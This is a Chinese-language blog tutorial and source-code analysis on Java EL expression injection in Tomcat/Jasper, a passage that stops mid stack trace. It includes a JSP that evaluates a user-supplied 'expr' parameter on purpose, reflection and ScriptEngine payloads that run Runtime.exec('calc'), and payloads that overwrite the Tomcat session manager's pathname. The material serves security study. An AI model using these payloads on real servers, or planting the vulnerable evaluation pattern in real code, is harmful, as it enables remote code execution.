Java 表达式注入

sky123

EL

EL(Expression Language,表达式语言)是 Java Web 技术栈里的一种“在页面/模板中写表达式”的机制,最早随 JSP 2.0 出现,后来与 JSF 合并为“统一 EL”(Unified EL)。它让你在 JSP、Facelets(JSF)、CDI/Servlet 等环境里,用简洁的语法读取/计算数据,而不用在页面里写 Java 代码。

基本概念

基本语法

EL 表达式界限为 ${ ... }。JSP/EL 不是 Java 代码执行器,它是“一门表达式语言”。你不能随便在 EL 里写 Java 语句、导包、new 对象、反射、随意调任意静态方法等。

  • 不能写 Java 语句:不能写 if (...) {}, for (...) {}, try/catch,也不能定义类/方法/变量
  • 不能 new 对象:没有 new 运算符。
  • 不能随意导包/引类:不能直接写 java.lang.RuntimeClass.forName 等。

EL 表达式的常见语法有:

  • 取值/索引${user.name}, ${map['k']}, ${list[0]}
  • 空判断${empty x}(null/空串/空集合/空数组 → true)
  • 算术/比较/逻辑+ - * / %== != < > <= >=(或 eq ne lt gt le ge),&& || !(或 and or not
  • 条件${cond ? a : b}
  • 函数(JSTL)${fn:length(list)}, ${fn:contains(text,'foo')}
  • 方法调用(EL 2.2+)${bean.fullName()}(容器实现需开放)
  • 赋值(实现相关)${obj.prop = 123}, ${pageContext.setAttribute('k', v)}

内置对象

EL 表达式上下文内置了若干可直接访问的对象(大多呈现为“Map 风格视图”):

名称 含义 / 等价 典型示例
pageScope 当前 JSP 页的 属性表PageContext 的 page 级属性) ${pageScope.msg}
requestScope HttpServletRequest属性表 ${requestScope.user}
sessionScope HttpSession属性表 ${sessionScope.cart}
applicationScope ServletContext属性表 ${applicationScope.cfg}
param 请求参数单值视图:request.getParameter(name) ${param.q}
paramValues 请求参数多值视图:request.getParameterValues(name)(数组) ${paramValues.tags[0]}
header Header 单值视图:request.getHeader(name) ${header['User-Agent']}
headerValues Header 多值视图:request.getHeaders(name)(枚举→数组) ${headerValues.Accept[0]}
initParam Web 应用的 上下文初始化参数ServletContext.getInitParameter(name)web.xml<context-param> ${initParam['site.name']}
cookie Cookie 名索引到 Cookie 对象的 Map ${cookie.JSESSIONID.value}
pageContext 直接暴露的 PageContext 对象(能进一步拿到 request / session / application 等) ${pageContext.request.method}

提示

  • cookie.*Cookie 对象,请用 .value 取值;若 Cookie 名含连字符等,使用中括号:${cookie['X-Token'].value}
  • header/headerValues 键大小写不敏感。
  • param/paramValues 解析常规查询串与表单编码;multipart/form-data 上传字段需由上传库处理,EL 不直接提供文件访问。

当你写 ${user} 这种未显式加作用域前缀的名字时,EL 会按下面顺序查找同名 属性(attribute):

  1. pageScope
  2. requestScope
  3. sessionScope
  4. applicationScope

先命中哪个用哪个;如果都没有,返回 null。要避免同名遮蔽或歧义,建议显式写作用域${requestScope.user}

漏洞场景

Tomcat、WebLogic、Jetty 等容器默认支持 EL。若页面里 EL 没生效,通常是被禁用:

  • 方式 A(页面级)isELIgnored

    1
    <%@ page isELIgnored="false" %>
  • 方式 B(web.xml 全局/按路径)<el-ignored>

    1
    2
    3
    4
    5
    6
    <jsp-config>
    <jsp-property-group>
    <url-pattern>*.jsp</url-pattern>
    <el-ignored>false</el-ignored>
    </jsp-property-group>
    </jsp-config>

    false = 启用 EL;true = 忽略 EL(表达式将被原样输出或作为普通文本处理)。

EL 是 Java EE/ Jakarta 的通用表达式语言(Unified EL)。除了 JSP,它还会出现在/被以下东西使用:

  • JSTL/自定义标签:标签体或标签属性里的 ${...}
  • JSF/Faceletsxhtml 里大量 ${...}/#{...}(两种 EL 前缀)。
  • CDI/EE 组件:某些配置/绑定也走 EL 解析。
  • 编程式调用:任何 Java 代码都能用 ExpressionFactoryELContextServlet/Filter/Bean手动求值一段 EL 字符串。

对于普通 JSP${...} 写死在模板里,用户改不了表达式本身,一般不是“EL 注入”。

而对于编程式调用,开发者如果把用户可控字符串丢给 ExpressionFactory#createValueExpression(...).getValue(...) 去执行,这就不再是“只在 JSP 模板里固定的 EL”。因此会出现 EL 表达式注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ExpressionFactory factory = ExpressionFactory.newInstance();

// 方式 A:自己组装一个上下文
StandardELContext ctx = new StandardELContext(factory);
// 根据需要添加/裁剪 Resolver(Map/List/Array/Bean……)
ctx.addELResolver(new MapELResolver());
ctx.addELResolver(new ListELResolver());
ctx.addELResolver(new ArrayELResolver());
ctx.addELResolver(new BeanELResolver(true)); // 是否允许方法调用取决于你

// 暴露变量(可选)
ctx.getVariableMapper().setVariable("request",
factory.createValueExpression(req, javax.servlet.http.HttpServletRequest.class));

// 求值
ValueExpression ve = factory.createValueExpression(ctx, userInputExpr, Object.class);
Object result = ve.getValue(ctx);

JSP 容器里你也可以利用 JSP 提供的 JspApplicationContext 获取到容器自己的 ExpressionFactory 与默认的 ELResolver 组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page import="javax.el.*" %>
<%@ page import="javax.servlet.jsp.*" %>
<%
String expr = request.getParameter("expr"); // 用户传入的 EL(⚠ 风险)
// 任选其一:
// JspApplicationContext jac = JspFactory.getDefaultFactory().getJspApplicationContext(application);
JspApplicationContext jac = JspFactory.getDefaultFactory().getJspApplicationContext(pageContext.getServletContext());
// JspApplicationContext jac = JspFactory.getDefaultFactory().getJspApplicationContext(config.getServletContext());

ExpressionFactory factory = jac.getExpressionFactory();
ELContext elc = pageContext.getELContext();
Object result = factory.createValueExpression(elc, expr, Object.class).getValue(elc);
out.print(String.valueOf(result));
%>

另外 Tomcat/Jasper 提供了创建 EL 表达式解析器的专用快捷入口,这也是 Java 在编译 JSP 时针对 JSP 中内嵌 EL 表达式的转换方式。

1
2
3
4
5
6
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String evalResult = (String) PageContextImpl.proprietaryEvaluate(
request.getParameter("expr"), String.class, pageContext, null);
out.print(evalResult);
%>

提示

web.xml 中添加如下内容可以让 JSP 编译出来的 Java 代码以文件形式保存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!-- src/main/webapp/WEB-INF/web.xml -->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">

<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>

<init-param><param-name>development</param-name><param-value>true</param-value></init-param>
<init-param><param-name>keepgenerated</param-name><param-value>true</param-value></init-param>
<init-param><param-name>mappedFile</param-name><param-value>true</param-value></init-param>
<init-param><param-name>classdebuginfo</param-name><param-value>true</param-value></init-param>
<init-param><param-name>suppressSmap</param-name><param-value>false</param-value></init-param>
<init-param><param-name>dumpSmap</param-name><param-value>true</param-value></init-param>

<!-- 与 maven-compiler 对齐 -->
<init-param><param-name>compilerSourceVM</param-name><param-value>1.8</param-value></init-param>
<init-param><param-name>compilerTargetVM</param-name><param-value>1.8</param-value></init-param>
<load-on-startup>3</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
</web-app>

表达式特性

获取对象

EL 表达式注入比 SpEL 表达式注入复杂一点,例如不能通过 new 创建对象:

1
${new String("a")}

也就是说,要创建一个对象,只能通过无需 new 对象就能调用的方法,例如 static 修饰的方法:

1
${Runtime.getRuntime.exec("calc")}

在 EL 3.0 中,解析标识符时会有一个 ImportHandler(类型导入器)。它通常默认导入 java.lang.*,因此像 ClassStringInteger 这类简单类名可以被识别为类型名(在某些上下文:例如构造器调用、静态访问的实现支持下)。

高版本会有如下报错:

javax.el.PropertyNotFoundException: No public static field named [getRuntime] was found on (exported for Java 9+) class [java.lang.Runtime]

或者直接用反射就能够获取对象

1
2
3
4
5
6
7
8
${
Class.forName("java.lang.Runtime").getMethod("exec", Class.forName("java.lang.String")).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(
null
),
"calc"
)
}

EL 里没有 Java 的“类字面量”语法,所以 String.class 这种 Java 写法在 EL 里不成立;而 Class.forName(...)普通静态方法调用,在支持 EL 3.0 的容器里(带有 ImportHandler 的类型解析),Class 会被解析为 java.lang.Class,因此能直接用。

动态执行

例如下面这段 Java 代码执行会报错:

1
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")");

这是因为 Java 在编译字节码的时候无法判断 "".getClass().forName("javax.script.ScriptEngineManager").newInstance() 反射创建的 ScriptEngineManager 对象的类型,因此不确定是否有 getEngineByName 方法。因此我们需要先强转成 ScriptEngineManager 类型才能使用。

1
((ScriptEngineManager)"".getClass().forName("javax.script.ScriptEngineManager").newInstance()).getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")");

而 EL 表达式在执行时,每一步函数调用都会通过反射去实现。在反射的过程中确定具体的类型, 所以不需要强制类型转换:

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}

多语句执行

EL 3.0+(JSP 2.3 / Servlet 3.1,典型是 Tomcat 8+)支持用分号 ; 把多个表达式串起来,按从左到右执行,整个块的返回值是最后一个表达式的值。

1
2
3
4
5
6
${ 
r=''.getClass().forName('java.lang.Runtime');
rt=r.getMethod('getRuntime').invoke(null);
rt.exec('calc');
'ok'
}

另外多条语句还可以放到多个 EL 表达式块中,并且可以看出来变量赋值是可以跨标签的,也就是变量会写入上下文,并且由解析器维护。

1
2
3
${r=''.getClass().forName('java.lang.Runtime')}
${rt=r.getMethod('getRuntime').invoke(null)}
${rt.exec('calc')}

不过一般 EL 表达式注入不直接写赋值表达式从而保存在上下文中,而是直接调用上下文的 getter 和 setter:

1
2
3
${pageContext.setAttribute("r", ''.getClass().forName('java.lang.Runtime'))}
${pageContext.setAttribute("rt", pageContext.getAttribute("r").getMethod('getRuntime').invoke(null))}
${pageContext.getAttribute("rt").exec('calc')}

代码执行分析

表达式解析

PageContextImpl#proprietaryEvaluate

首先 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate 函数是 apache 对 EL 表达式的调用的标准过程的一个封装:

  1. 分别获取了解析 EL 表达式的 ExpressionFactoryELContextProtectedFunctionMapper
    • ExpressionFactory:把字符串解析成 ValueExpression/MethodExpression
    • ELContext:携带 ELResolver 链类型转换Function/Variable Mapper
    • ProtectedFunctionMapper:JSTL/标签库暴露的函数(fn:...),安装到 ELContextImpl 里;
  2. 调用 ExpressionFactory#createValueExpression 根据 ELContext 和传入的 EL 表达式创建 ValueExpression,内部会用解析器把表达式变成 node(语法树根)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 私有的/专用的 EL 表达式求值方法。
* XXX:一旦 EL 解释器从 JSTL 中拆分成独立项目,这个方法应当被移除。
* 目前保留它,是因为标准机制在某些场景下过慢,这里走一条更直接的“快路径”。
*
* @param expression 需要求值的 EL 表达式(例如 "${user.name}")
* @param expectedType 期望的返回类型(用于类型安全转换)
* @param pageContext JSP 的 PageContext,承载 EL 上下文、应用上下文等
* @param functionMap 自定义函数映射(前缀+函数名 -> Method),用于在 EL 中调用函数
* @return 表达式求值后的结果对象(类型与 expectedType 一致/可转换)
* @throws ELException 求值过程中发生解析/执行错误时抛出
*/
public static Object proprietaryEvaluate(final String expression,
final Class<?> expectedType, final PageContext pageContext,
final ProtectedFunctionMapper functionMap)
throws ELException {

// 从 JSP 应用上下文中获取 ExpressionFactory(EL 工厂),
// 由容器提供,用于创建 ValueExpression/MethodExpression 等。
final ExpressionFactory exprFactory =
jspf.getJspApplicationContext(pageContext.getServletContext())
.getExpressionFactory();

// 从 PageContext 取出当前请求关联的 ELContext(表达式求值上下文),
// 内含变量解析器、函数映射、类型转换器等。
ELContext ctx = pageContext.getELContext();

// 这里需要拿到具体的实现类 ELContextImpl,以便设置函数映射(FunctionMapper)。
ELContextImpl ctxImpl;

// 某些容器会用 ELContextWrapper 包一层,这里先解包拿到真正的 ELContextImpl。
if (ctx instanceof ELContextWrapper) {
ctxImpl = (ELContextImpl) ((ELContextWrapper) ctx).getWrappedELContext();
} else {
// 否则,ELContext 本身就是 ELContextImpl,直接强转。
ctxImpl = (ELContextImpl) ctx;
}

// 将调用方传入的函数映射安装到当前 EL 上下文,
// 这样表达式中诸如 fn:xxx() 之类的函数才可被正确解析与调用。
ctxImpl.setFunctionMapper(functionMap);

// 通过工厂创建一个“值表达式”(ValueExpression),
// 绑定到当前 EL 上下文,并声明期望的返回类型 expectedType,
// 容器会按该类型进行转换(必要时)。
ValueExpression ve =
exprFactory.createValueExpression(ctx, expression, expectedType);

// 执行表达式求值并返回结果。
// 注意:求值时会用到上面设置好的 FunctionMapper、VariableMapper 等上下文信息。
return ve.getValue(ctx);
}

createValueExpression 解析传入的 EL 表达式的值得到的 ValueExpression 结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ve = {ValueExpressionImpl@7144} "ValueExpression[${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")}]"
expectedType = {Class@339} "class java.lang.String"
expr = "${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")}"
fnMapper = null
varMapper = null
node = {AstValue@7797} "Value"
parent = {AstDynamicExpression@7799} "DynamicExpression"
children = {SimpleNode[11]@7800}
0 = {AstString@7802} "String[""]"
1 = {AstDotSuffix@7803} "DotSuffix[getClass]"
2 = {AstMethodParameters@7804} "()"
3 = {AstDotSuffix@7805} "DotSuffix[forName]"
4 = {AstMethodParameters@7806} "(String["javax.script.ScriptEngineManager"],)"
5 = {AstDotSuffix@7807} "DotSuffix[newInstance]"
6 = {AstMethodParameters@7808} "()"
7 = {AstDotSuffix@7809} "DotSuffix[getEngineByName]"
8 = {AstMethodParameters@7810} "(String["js"],)"
9 = {AstDotSuffix@7811} "DotSuffix[eval]"
10 = {AstMethodParameters@7812} "(String["java.lang.Runtime.getRuntime().exec('calc')"],)"
id = 27
image = null

ValueExpressionImpl#getValue

proprietaryEvaluate#最后调用 org.apache.el.ValueExpressionImpl#getValue 计算表达式的结果并返回。这里实际上调用的是 ValueExpressionImpl#nodegetValue 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* 计算(求值)当前 EL 表达式,并按需要把结果转换成期望类型。
*
* 语义要点:
* 1) 在真实求值前后,会通过 ELContext 发出通知回调(before/after),便于容器做日志、监控等。
* 2) 真正的求值由语法树根节点 node 完成(node.getValue(ctx)),它会沿用 ELResolver 链解析属性/方法/索引/函数。
* 3) 如果调用方声明了期望类型 expectedType,结果会通过 ELContext 的类型转换器做转换(可能触发自定义 Converter)。
* 4) 解析过程中若出现“无法解析的属性/方法”等问题,由下层抛出 PropertyNotFoundException 或 ELException 向上冒泡。
*/
public Object getValue(ELContext context) throws PropertyNotFoundException, ELException {

// —— 1) 构造“求值用”的临时上下文 EvaluationContext ——
// 它把外部的 ELContext(含 ELResolver、类型转换、变量/函数环境等)与
// 当前表达式捕获的函数映射(fnMapper)与变量映射(varMapper)组装在一起,
// 供语法树节点在递归求值时统一访问。
EvaluationContext ctx = new EvaluationContext(context, this.fnMapper, this.varMapper);

// —— 2) 求值前通知:告知容器“马上要计算哪条表达式字符串” ——
// 容器/框架可以在这里做 AOP 统计、调试记录、甚至短路等。
context.notifyBeforeEvaluation(getExpressionString());

// —— 3) 真正求值:从语法树根节点出发,结合 ctx 逐步解析出一个 Object 结果 ——
// 这里会依次触发:
// - 变量解析(VariableMapper / ScopedAttribute)
// - 属性读取(Bean/Map/List/Array 等 ELResolver 分支)
// - 方法调用(EL 3.0 起支持,走 resolver.invoke)
// - 索引访问、函数调用、Lambda 计算等
// 任何一步失败(例如属性不存在、方法签名不匹配)都可能抛出 PropertyNotFoundException/ELException。
Object value = this.getNode().getValue(ctx);

// —— 4) 可选的类型转换:把结果转换为调用方声明的 expectedType ——
// 若 expectedType 为 null,则直接返回原值;
// 否则委托 ELContext.convertToType(...) 执行转换:
// - 基本包装类型(String → Integer/Boolean/...)
// - 日期/数字格式化
// - 自定义 Converter(若容器提供)
// 注意:若 value 为 null 且 expectedType 是原始类型(如 int.class),
// 转换器实现可能抛出 ELException 或返回默认值,取决于容器的策略。
if (this.expectedType != null) {
value = context.convertToType(value, this.expectedType);
}

// —— 5) 求值后通知:告知容器“表达式计算已完成” ——
// 常用于清理 ThreadLocal、打印收尾日志等。
context.notifyAfterEvaluation(getExpressionString());

// —— 6) 返回最终结果(可能已被类型转换) ——
return value;
}

这里具体调用的是哪个 getValue 方法取决于 ValueExpressionImpl#node 的类型(也就是 AST 语法树根节点的类型)。node 属性的类型是 org.apache.el.parser.Node 是一个接口,有多种实现。

SimpleNode

我们常见的类型是方法调用AstValue)和属性访问AstAssign)两种。

方法调用(AstValue)

当表达式中有多个方法连续调用的操作的时候 node 属性是 AstValue 类型:

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}

此时 EL 表达式解析时有如下调用栈:

1
2
3
4
5
6
7
8
9
PageContextImpl.proprietaryEvaluate
└─ ExpressionFactory.createValueExpression(ELContext, expr, expectedType)
│ └─ 解析 expr → 语法树(AST)
│ └─ 返回 ValueExpressionImpl(node=AST根, fnMapper/varMapper/expectedType)
└─ ValueExpressionImpl.getValue(ELContext)
└─ node.getValue(EvaluationContext)
└─ AstCompositeExpression / AstDynamicExpression / AstValue.getValue(...)
├─ 逐个“后缀”分派:属性访问 → resolver.getValue()
└─ 或方法调用 → resolver.invoke() → 反射 Method.invoke()

AstValue#getValue

循环反射,base 为每轮递归反射之后保存的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
/**
* 逐步求值类似 a.b.c() 这样的 EL 链式表达式:
* - children[0] :链首(base),例如 a
* - children[1] :后缀(suffix)①,可能是属性名 b 或方法名 b
* - children[2](可选):若是方法调用,紧跟一个 AstMethodParameters(参数列表)
* - ...
* 解析过程:从左到右,遇到“方法名 + 参数列表”则走方法调用;否则走属性读取。
*/
public Object getValue(EvaluationContext ctx) throws ELException {

// 1) 先求出链首对象 base(如表达式 a.b.c() 中的 a)
Object base = this.children[0].getValue(ctx);

// 2) 子节点总数(包括属性名 / 方法名 / 参数列表等)
int propCount = this.jjtGetNumChildren();

// 3) 从第 1 个“后缀”节点开始处理(第 0 个是 base)
int i = 1;

// 4) 当前处理的“后缀”标识(可能是属性名、方法名、或索引等)
Object suffix = null;

// 5) 统一的解析器入口:属性访问 getValue / 方法调用 invoke 都走 ELResolver
ELResolver resolver = ctx.getELResolver();

// ====================== 主循环:沿着表达式从左往右推进 ======================
while (base != null && i < propCount) {
// 6) 取当前后缀节点的值(一般是属性名/方法名字符串,或集合索引等)
suffix = this.children[i].getValue(ctx);

// 7) 判断“这是方法调用吗?”
// 条件:后面还有节点,且下一个节点是参数列表 AstMethodParameters
if (i + 1 < propCount &&
(this.children[i+1] instanceof AstMethodParameters)) {

// 7.1 取出紧随其后的参数列表节点
AstMethodParameters mps =
(AstMethodParameters) this.children[i+1];

// 7.2 特殊规则:当 base 是 Optional 且调用 orElseGet(...),
// EL 规范要求参数必须是 Lambda。若不是 Lambda,则抛出语义错误。
if (base instanceof Optional && "orElseGet".equals(suffix) &&
mps.jjtGetNumChildren() == 1) {
Node paramFoOptional = mps.jjtGetChild(0);
if (!(paramFoOptional instanceof AstLambdaExpression ||
paramFoOptional instanceof LambdaExpression)) {
throw new ELException(MessageFactory.get(
"stream.optional.paramNotLambda", suffix));
}
}

// 7.3 方法调用分支:
// - 先把参数列表逐个求值为 Object[](运行时实参)
Object[] paramValues = mps.getParameters(ctx);

// - 通过 ELResolver.invoke(...) 调用 base.suffix(...)
// 第四个参数是形参“类型数组”(由实参值推断),用于方法重载解析
base = resolver.invoke(ctx, // 解析上下文
base, // 目标对象
suffix, // 方法名(通常是 String)
getTypesFromValues(paramValues), // 形参类型
paramValues); // 实参值

// 7.4 跳过“方法名节点 + 参数列表节点”这两个位置
i += 2;

} else {
// 8) 属性访问分支(非方法调用)
// 例如 base = resolver.getValue(ctx, base, "prop")

// 8.1 若后缀为 null,根据 EL 语义直接返回 null(链到此终止)
if (suffix == null) {
return null;
}

// 8.2 在取属性前,把“已解析”标志清零,允许后续 ELResolver 抢先处理
// —— 每次属性解析前都要 reset,具体哪个 resolver 成功解析会再把它置回 true
ctx.setPropertyResolved(false);

// 8.3 通过 ELResolver 读取属性值(可能触发 BeanELResolver、MapELResolver、ArrayELResolver 等)
base = resolver.getValue(ctx, base, suffix);

// 8.4 消费一个“后缀”节点(属性名),继续向右推进
i++;
}
}

// ====================== 循环结束后的检查 ======================

// 9) 如果循环结束时,最后一次访问没有被任何 resolver 标记为“已处理”,
// 说明没有合适的解析器能处理该属性/方法,抛出“未找到属性”异常。
if (!ctx.isPropertyResolved()) {
throw new PropertyNotFoundException(MessageFactory.get(
"error.resolver.unhandled", base, suffix));
}

// 10) 返回最终的求值结果(可能是属性值、方法返回值、或中间值为 null 提前结束)
return base;
}

JasperELResolver#invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/**
* 尝试在 base 上调用名为 method 的方法,参数类型为 paramTypes,参数值为 params。
* 具体调用由一串 ELResolver 组成的“责任链”决定:哪个 resolver 声称自己处理了,
* 就以它的返回结果为准并立即结束(通过 ELContext.propertyResolved 标志协作)。
*/
public Object invoke(ELContext context, Object base, Object method,
Class<?>[] paramTypes, Object[] params) {

// 1) 先把传入的 method 标识“规整”为字符串(常见是 DotSuffix、Identifier 等节点求值之后的对象)
String targetMethod = coerceToString(method);

// 2) 方法名为空串 → 没有合法的方法可调用,按 EL 规范抛出 NoSuchMethodException(用 ELException 包一层)
if (targetMethod.length() == 0) {
throw new ELException(new NoSuchMethodException());
}

// 3) 每次进入解析链前,必须把“已解析”标志复位为 false。
// 责任链中的某个 resolver 如果成功处理,会把它设为 true,
// 这样后面的 resolver 就不会再尝试,避免重复或冲突。
context.setPropertyResolved(false);

Object result = null;

// ---------------- 第一段:按顺序尝试“应用自定义 + 特定支持”的 resolver ----------------
// 4) 计算第一段要走到的上界 index:
// - 跳过下标 0 的 implicit resolver(隐式对象,如 pageContext、param 等,不涉及方法调用)
// - 接着尝试所有“应用注册的 resolvers”(appResolversSize 个)
// - 再尝试两个内置的特殊 resolver:stream 与 static
// (具体名称以实现为准,一般是 StreamELResolver / StaticFieldELResolver,
// 前者支持流式操作,后者支持对 Class/静态成员的解析/调用)
int index = 1 /* implicit */ + appResolversSize +
2 /* stream + static */;

// 5) 依次调用这段 resolver[i].invoke(...):
// 一旦有 resolver 将 context.propertyResolved 置为 true,表示“我处理了这个方法调用”,
// 立刻返回它的 result。
for (int i = 1; i < index; i++) {
result = resolvers[i].invoke(
context, base, targetMethod, paramTypes, params);
if (context.isPropertyResolved()) {
return result;
}
}

// ---------------- 第二段:跳过集合类 resolvers,直接进入 Bean 及其后的 resolvers ----------------
// 6) 再把 index 往后挪 4 位,以“跳过”集合相关的四个 resolver:
// MapELResolver、ResourceBundleELResolver、ListELResolver、ArrayELResolver。
// 这些 resolver 主要用于“取值/设值”,通常不负责方法调用(在集合上调用方法没有语义或易歧义),
// 因而这里直接略过,提高分派效率并避免误触。
index += 4;

// 7) 从当前 index 开始到当前有效大小 size(动态值,可能通过 Atomic/ThreadLocal 保存),
// 继续尝试后续 resolver —— 通常包含 BeanELResolver(支持在 Java Bean 上找方法并调用),
// 以及可能追加的其它框架级 resolver。
int size = resolversSize.get();
for (int i = index; i < size; i++) {
result = resolvers[i].invoke(
context, base, targetMethod, paramTypes, params);
if (context.isPropertyResolved()) {
return result;
}
}

// 8) 没有任何 resolver 宣称“我处理了它” → 返回 null(EL 规范要求的“未处理”语义)。
// (上层调用者通常据此抛 PropertyNotFoundException 或继续其它路径)
return null;
}

BeanELResolver#invoke

到具体的节点的 resolver,触发最终的反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public Object invoke(ELContext context, Object base, Object method,
Class<?>[] paramTypes, Object[] params) {
// 1) 保护性检查:ELContext 不能为空(否则 NPE)
Objects.requireNonNull(context);

// 2) EL 语义:如果 base(调用者)或 method(方法标识)为 null,
// 认为“本解析器不处理”,直接返回 null,让责任链上其它解析器有机会接手。
if (base == null || method == null) {
return null;
}

// 3) 取全局的 ExpressionFactory,用它的类型转换逻辑(EL 的强制转换规则)
ExpressionFactory factory = ELManager.getExpressionFactory();

// 4) 把 method 标识(可能是 Identifier、String、别的可转换对象)转换成方法名字符串
// 这一步通过 EL 的 coerceToType,意味着支持诸如 number→string 的转换规则。
String methodName = (String) factory.coerceToType(method, String.class);

// 5) 在 base.getClass() 上“按 EL 规则”查找最匹配的方法(重载消歧、宽化、装箱/拆箱、可变参数等)
// - context:用于取转换器、地区化信息,或在查找失败时抛合适的异常
// - base.getClass() / base:用于决定是实例方法还是静态方法(通常是实例)
// - methodName:目标方法名
// - paramTypes / params:调用者给出的期望参数类型与实参值(可能其一为 null)
Method matchingMethod = Util.findMethod(context, base.getClass(), base,
methodName, paramTypes, params);

// 6) 根据匹配到的方法签名准备“最终实参数组”
// - 对每个 param 做 EL 强制转换,匹配 method 的参数类型
// - 若是 varargs(isVarArgs = true),把尾部参数“打包”成数组
// - 处理 null、装箱/拆箱、数值宽化(int→long)、字符串到数值/布尔的转换等
Object[] parameters =
Util.buildParameters(context,
matchingMethod.getParameterTypes(),
matchingMethod.isVarArgs(),
params);

Object result = null;
try {
// 7) 通过 Java 反射调用目标方法
result = matchingMethod.invoke(base, parameters);

} catch (IllegalArgumentException | IllegalAccessException e) {
// 8) 典型反射失败(参数不匹配 / 访问不可见):
// 包装成 ELException 向上抛出,遵循 EL 的异常体系
throw new ELException(e);

} catch (InvocationTargetException e) {
// 9) 目标方法自身抛出的异常会被包装成 ITE,取出原始 cause
Throwable cause = e.getCause();
// Util.handleThrowable(cause) 通常会对 Error / ThreadDeath 等“致命异常”直接 rethrow,
// 防止被误吞(例如 OOME、StackOverflowError)
Util.handleThrowable(cause);
// 其它异常则包装为 ELException 抛出,供上层处理/提示
throw new ELException(cause);
}

// 10) 成功:告知 EL 责任链“这次方法调用已被我处理”
// 这里调用的是带 (base, property) 的重载,表达“谁上的哪个成员被解析/调用了”
context.setPropertyResolved(base, method);

// 11) 返回方法调用结果(可能为 void→null)
return result;
}

属性访问(AstAssign)

当我们的 EL 表达式进行的是属性访问或者属性赋值时 node 属性是 AstAssign 类型:

1
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}

此时会调用各个属性的 getter 和 setter 方法,实际上也就等价于下面这段 Java 代码:

1
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

注意

pageContext.servletContext.classLoader.resources 在有的 Tomcat 环境里里是 null,后面再去 .context.manager.pathname 会报错 PropertyNotFoundException: Target Unreachable, [resources] returned null

这是因为在有的 Tomcat 实例里,Web 应用类加载器上的 resources 没被挂上(注入),所以取出来就是 null。要想它不是 null,必须让的 WebApp 真正跑在 Tomcat 的 WebappClassLoaderBase/ParallelWebappClassLoader + 已初始化的 StandardRoot 资源系统之上

最简做法:用“标准的 WAR 部署到独立 Tomcat”,并确保 <Context> 正常初始化了 Resources

或者是用下面的 Payload 替代:

1
2
3
${applicationScope['org.apache.catalina.resources'].context.manager.pathname = param.a}
${applicationScope['org.apache.catalina.core.StandardContext'].manager.pathname = param.a}
${applicationScope['org.apache.catalina.core.ApplicationContext'].context.manager.pathname = param.a}

BeanELResolver#getValue

1
2
3
4
5
6
7
8
9
10
11
12
13
getServletContext:585, PageContextImpl (org.apache.jasper.runtime)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:99, BeanELResolver (javax.el)
getValue:112, JasperELResolver (org.apache.jasper.el)
getTarget:108, AstValue (org.apache.el.parser)
setValue:195, AstValue (org.apache.el.parser)
getValue:35, AstAssign (org.apache.el.parser)
getValue:189, ValueExpressionImpl (org.apache.el)
proprietaryEvaluate:942, PageContextImpl (org.apache.jasper.runtime)
_jspService:3, index_jsp (org.apache.jsp)
1

BeanELResolver#setValue

1
2
3
4
5
6
7
8
9
10
11
12
setPathname:131, StandardManager (org.apache.catalina.session)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
